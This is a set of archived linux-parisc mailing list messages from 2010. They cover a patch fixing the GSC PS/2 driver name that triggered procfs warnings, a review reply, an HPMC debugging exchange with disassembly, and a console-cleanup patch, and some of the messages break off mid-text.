[   10.916000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   10.936000] PSW: 00000000000001000000000000001111 Not tainted
[   10.992000] r00-03  0004000f 104fe3e0 10201ea0 00000000
[   11.060000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
[   11.124000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
[   11.184000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
[   11.248000] r16-19  f0001570 10479af0 f000006c 1044fe50
[   11.308000] r20-23  00000000 00000028 104cd858 00000000
[   11.372000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
[   11.436000] r28-31  0000002b 00000078 4fc40800 0000000d
[   11.496000] sr00-03  00000000 00000000 00000000 00000000
[   11.560000] sr04-07  00000000 00000000 00000000 00000000
[   11.624000] 
[   11.688000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
[   11.704000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
[   11.772000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
[   11.836000]  ORIG_R28: 4fc40940
[   11.904000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
[   11.940000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
[   11.996000]  RP(r2): __xlate_proc_name+0x90/0xd0
[   12.052000] Backtrace:
[   12.108000]  [<10257790>] vsnprintf+0x290/0x4f4
[   12.136000] 
[   12.188000] ---[ end trace 91bf6ece17e322dd ]---
[   12.208000] serio: GSC PS/2 keyboard port at 0x0001c000 irq 19 @ 10:12:7
[   12.264000] name 'GSC PS/2 mouse'
[   12.344000] ------------[ cut here ]------------
[   12.384000] WARNING: at fs/proc/generic.c:323
[   12.436000] Modules linked in:
[   12.524000] 
[   12.528000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   12.544000] PSW: 00000000000001000000000000001111 Tainted: G        W  
[   12.600000] r00-03  0004000f 104fe3e0 10201ea0 00000000
[   12.680000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
[   12.740000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
[   12.804000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
[   12.868000] r16-19  f0001570 10479af0 f000006c 1044fe50
[   12.928000] r20-23  00000000 00000025 104cd858 00000000
[   12.992000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
[   13.056000] r28-31  00000028 00000078 4fc40800 0000000d
[   13.116000] sr00-03  00000000 00000000 00000000 00000000
[   13.180000] sr04-07  00000000 00000000 00000000 00000000
[   13.244000] 
[   13.308000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
[   13.324000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
[   13.392000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
[   13.456000]  ORIG_R28: 4fc40940
[   13.524000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
[   13.560000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
[   13.616000]  RP(r2): __xlate_proc_name+0x90/0xd0
[   13.672000] Backtrace:
[   13.728000]  [<10257790>] vsnprintf+0x290/0x4f4
[   13.756000] 
[   13.808000] ---[ end trace 91bf6ece17e322de ]---
[   13.828000] serio: GSC PS/2 mouse port at 0x00020100 irq 19 @ 10:12:8


Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>


--MP_/vajWLPw2yosThoeUL+NxU+i
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=gsc-ps2-driver-name.patch

--- drivers/input/serio/gscps2.c.orig	2010-11-01 09:54:50.000000000 +0100
+++ drivers/input/serio/gscps2.c	2010-11-01 09:55:53.000000000 +0100
@@ -358,7 +358,7 @@
 	gscps2_reset(ps2port);
 	ps2port->id = readb(ps2port->addr + GSC_ID) & 0x0f;
 
-	snprintf(serio->name, sizeof(serio->name), "GSC PS/2 %s",
+	snprintf(serio->name, sizeof(serio->name), "gsc-ps2-%s",
 		 (ps2port->id == GSC_ID_KEYBOARD) ? "keyboard" : "mouse");
 	strlcpy(serio->phys, dev_name(&dev->dev), sizeof(serio->phys));
 	serio->id.type		= SERIO_8042;

--MP_/vajWLPw2yosThoeUL+NxU+i--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc : Fix GSC PS/2 driver name for keyboard and mouse
Date: Tue, 02 Nov 2010 22:17:14 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <4CD07FDA.3060905@gmx.de>
References: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288732647 21067 80.91.229.12 (2 Nov 2010 21:17:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Nov 2010 21:17:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 02 22:17:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDOEH-00089s-R0
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Nov 2010 22:17:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753104Ab0KBVRQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 17:17:16 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:55712 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1753009Ab0KBVRQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 17:17:16 -0400
Original-Received: (qmail invoked by alias); 02 Nov 2010 21:17:14 -0000
Original-Received: from p54AD163E.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.22.62]
  by mail.gmx.net (mp012) with SMTP; 02 Nov 2010 22:17:14 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/E9XgFAaXEgYx3PjdwVdsb5lih5p2ecIjby1st2+
	LhPfjH+6zSFavP
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101027 Fedora/3.1.6-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3213>

On 11/02/2010 04:23 PM, Guy Martin wrote:
> Fix kernel warnings caused by the driver name of GSC PS/2 containing '/'.
>
> The following warnings are observed on a K410 system :
>
> [   10.700000] name 'GSC PS/2 keyboard'
> [   10.732000] ------------[ cut here ]------------
> [   10.772000] WARNING: at fs/proc/generic.c:323
> [   10.828000] Modules linked in:
> [   10.916000]
> [   10.916000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   10.936000] PSW: 00000000000001000000000000001111 Not tainted
> [   10.992000] r00-03  0004000f 104fe3e0 10201ea0 00000000
> [   11.060000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
> [   11.124000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
> [   11.184000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
> [   11.248000] r16-19  f0001570 10479af0 f000006c 1044fe50
> [   11.308000] r20-23  00000000 00000028 104cd858 00000000
> [   11.372000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
> [   11.436000] r28-31  0000002b 00000078 4fc40800 0000000d
> [   11.496000] sr00-03  00000000 00000000 00000000 00000000
> [   11.560000] sr04-07  00000000 00000000 00000000 00000000
> [   11.624000]
> [   11.688000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
> [   11.704000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
> [   11.772000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
> [   11.836000]  ORIG_R28: 4fc40940
> [   11.904000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
> [   11.940000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
> [   11.996000]  RP(r2): __xlate_proc_name+0x90/0xd0
> [   12.052000] Backtrace:
> [   12.108000]  [<10257790>] vsnprintf+0x290/0x4f4
> [   12.136000]
> [   12.188000] ---[ end trace 91bf6ece17e322dd ]---
> [   12.208000] serio: GSC PS/2 keyboard port at 0x0001c000 irq 19 @ 10:12:7
> [   12.264000] name 'GSC PS/2 mouse'
> [   12.344000] ------------[ cut here ]------------
> [   12.384000] WARNING: at fs/proc/generic.c:323
> [   12.436000] Modules linked in:
> [   12.524000]
> [   12.528000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   12.544000] PSW: 00000000000001000000000000001111 Tainted: G        W
> [   12.600000] r00-03  0004000f 104fe3e0 10201ea0 00000000
> [   12.680000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
> [   12.740000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
> [   12.804000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
> [   12.868000] r16-19  f0001570 10479af0 f000006c 1044fe50
> [   12.928000] r20-23  00000000 00000025 104cd858 00000000
> [   12.992000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
> [   13.056000] r28-31  00000028 00000078 4fc40800 0000000d
> [   13.116000] sr00-03  00000000 00000000 00000000 00000000
> [   13.180000] sr04-07  00000000 00000000 00000000 00000000
> [   13.244000]
> [   13.308000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
> [   13.324000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
> [   13.392000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
> [   13.456000]  ORIG_R28: 4fc40940
> [   13.524000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
> [   13.560000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
> [   13.616000]  RP(r2): __xlate_proc_name+0x90/0xd0
> [   13.672000] Backtrace:
> [   13.728000]  [<10257790>] vsnprintf+0x290/0x4f4
> [   13.756000]
> [   13.808000] ---[ end trace 91bf6ece17e322de ]---
> [   13.828000] serio: GSC PS/2 mouse port at 0x00020100 irq 19 @ 10:12:8
>
>
> Signed-off-by: Guy Martin<gmsoft@tuxicoman.be>

Acked-by: Helge Deller <deller@gmx.de>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc : Fix GSC PS/2 driver name for keyboard and mouse
Date: Tue, 2 Nov 2010 21:46:01 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20101103014601.GC8332@bombadil.infradead.org>
References: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
 <4CD07FDA.3060905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288748774 20451 80.91.229.12 (3 Nov 2010 01:46:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 3 Nov 2010 01:46:14 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 03 02:46:10 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDSQS-0001gt-Lu
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Nov 2010 02:46:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751415Ab0KCBqH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 21:46:07 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36113 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751193Ab0KCBqH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 21:46:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PDSQL-0004aQ-W0; Wed, 03 Nov 2010 01:46:02 +0000
Content-Disposition: inline
In-Reply-To: <4CD07FDA.3060905@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3214>

On Tue, Nov 02, 2010 at 10:17:14PM +0100, Helge Deller wrote:
> >The following warnings are observed on a K410 system :
> >

Thanks guys, looks good.

Guy, are you running upstream (-rc1) on your K-class? Are interrupts on
GSC devices working? Does it have a dino tulip that's working? :)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 2 Nov 2010 23:19:20 -0400
Organization: nrc.ca
Lines: 40
Approved: news@gmane.org
Message-ID: <20101103031919.GA20990@hiauly1.hia.nrc.ca>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca> <20101102062623.GC14166@lackof.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288754373 5735 80.91.229.12 (3 Nov 2010 03:19:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 3 Nov 2010 03:19:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 03 04:19:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDTsl-0002Uu-Q5
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Nov 2010 04:19:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751607Ab0KCDT0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Nov 2010 23:19:26 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1757 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751151Ab0KCDT0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Nov 2010 23:19:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CF77151C4; Tue,  2 Nov 2010 23:19:21 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20101102062623.GC14166@lackof.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3215>

On Tue, 02 Nov 2010, Grant Grundler wrote:

> > IIA Offset (back entry)      = 0x0000000040329438
> 
> Is this a kernel address...can you tell me what it matches?

The kernel address was shown in the analysis at the end of of the dump..

> Can you please also look up GR1?

I believe GR1 points into the DLT.  The code is loading the address
of lba_t32.  One can see this from the relocations for lba_pci.o.

> > 000000004031e3f0 <lba_pat_out8>:
> >     4031e3f0:   d7 9f 18 52     depwi,z -1,29,14,ret0
> >     4031e3f4:   53 5f 03 30     ldd 198(r26),r31
> >     4031e3f8:   db 39 0b f0     extrd,u r25,63,16,r25
> >     4031e3fc:   db 33 0b fe     extrd,u r25,63,2,r19
> >     4031e400:   0b 99 02 39     and r25,ret0,r25
> >     4031e404:   f3 39 11 4a     depd,z r25,53,54,r25
> >     4031e408:   0a 79 0a 39     add,l r25,r19,r25
> >     4031e40c:   0b 3f 0a 3f     add,l r31,r25,r31
> >     4031e410:   0f f8 12 00     stb r24,0(r31)
> >     4031e414:   0f 40 10 dc     ldd 0(r26),ret0
> >     4031e418:   2b 6d 00 00     addil L%1a000,dp,r1
> > ->  4031e41c:   0f 80 10 9f     ldw 0(ret0),r31
> >     4031e420:   50 3c 0f 10     ldd 788(r1),ret0
> >     4031e424:   e8 40 d0 00     bve (rp)
> >     4031e428:   0f 9f 12 80     stw r31,0(ret0)
> >     4031e42c:   00 00 00 00     break 0,0

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/3] parisc: cleanup console handling
Date: Wed,  3 Nov 2010 16:28:33 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1288798114-23206-2-git-send-email-jslaby@suse.cz>
References: <1288798114-23206-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1288798157 23525 80.91.229.12 (3 Nov 2010 15:29:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 3 Nov 2010 15:29:17 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, jirislaby@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 03 16:29:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PDfGx-0006nD-Fx
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Nov 2010 16:29:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755781Ab0KCP3K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Nov 2010 11:29:10 -0400
Original-Received: from mail.pripojeni.net ([217.66.174.14]:50825 "EHLO
	smtp.pripojeni.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1753946Ab0KCP3H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Nov 2010 11:29:07 -0400
Original-Received: from localhost.localdomain ([217.66.174.142])
	by smtp.pripojeni.net (Kerio Connect 7.1.1);
	Wed, 3 Nov 2010 16:28:35 +0100
X-Mailer: git-send-email 1.7.3.1
In-Reply-To: <1288798114-23206-1-git-send-email-jslaby@suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3216 gmane.linux.kernel:1057472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3216>

* use newly added for_each_console for iterating consoles
* add proper console locking
* do not initialize tmp twice
* no need to declare console_drivers, it's already done in console.h

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/pdc_cons.c |    8 ++++----
 1 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 66d1f17..11bdd68 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -92,8 +92,6 @@ static int pdc_console_setup(struct console *co, char *options)
 
 static struct timer_list pdc_console_timer;
 
-extern struct console * console_drivers;

From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 2/5] parisc: cleanup console handling
Date: Thu,  4 Nov 2010 16:20:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <1288884024-23873-2-git-send-email-jslaby@suse.cz>
References: <1288884024-23873-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1288884094 31656 80.91.229.12 (4 Nov 2010 15:21:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 15:21:34 +0000 (UTC)
Cc: werner@suse.de, alan@lxorguk.ukuu.org.uk, gregkh@suse.de,
	linux-kernel@vger.kernel.org, jirislaby@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 16:21:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE1d0-0007gW-Kv
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 16:21:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752270Ab0KDPVW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 11:21:22 -0400
Original-Received: from mail.pripojeni.net ([217.66.174.14]:33070 "EHLO
	smtp.pripojeni.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1752070Ab0KDPVN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 11:21:13 -0400
Original-Received: from localhost.localdomain ([217.66.174.142])
	by smtp.pripojeni.net (Kerio Connect 7.1.1);
	Thu, 4 Nov 2010 16:20:25 +0100
X-Mailer: git-send-email 1.7.3.1
In-Reply-To: <1288884024-23873-1-git-send-email-jslaby@suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3217 gmane.linux.kernel:1057950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3217>

* use newly added for_each_console for iterating consoles
* add proper console locking
* do not initialize tmp twice
* no need to declare console_drivers, it's already done in console.h

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/pdc_cons.c |    8 ++++----
 1 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 66d1f17..11bdd68 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -92,8 +92,6 @@ static int pdc_console_setup(struct console *co, char *options)
 
 static struct timer_list pdc_console_timer;
 
-extern struct console * console_drivers;

From - Thu Nov 08 21:06:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Thu, 4 Nov 2010 09:35:08 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20101104153507.GA7198@lackof.org>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca> <20101102062623.GC14166@lackof.org> <20101103031919.GA20990@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288884919 3890 80.91.229.12 (4 Nov 2010 15:35:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Nov 2010 15:35:19 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 04 16:35:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PE1qK-0000M3-31
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Nov 2010 16:35:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752545Ab0KDPfK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Nov 2010 11:35:10 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:56906 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752484Ab0KDPfK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Nov 2010 11:35:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B194F1E16B44;
	Thu,  4 Nov 2010 09:35:09 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Pu33O0Uoa1lr; Thu,  4 Nov 2010 09:35:08 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 15C2E1E16B45; Thu,  4 Nov 2010 09:35:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20101103031919.GA20990@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3218>

On Tue, Nov 02, 2010 at 11:19:20PM -0400, John David Anglin wrote:
> On Tue, 02 Nov 2010, Grant Grundler wrote:
> 
> > > IIA Offset (back entry)      = 0x0000000040329438
> > 
> > Is this a kernel address...can you tell me what it matches?
> 
> The kernel address was shown in the analysis at the end of of the dump..

Dave,
Sorry...I had written the questions while going through the email
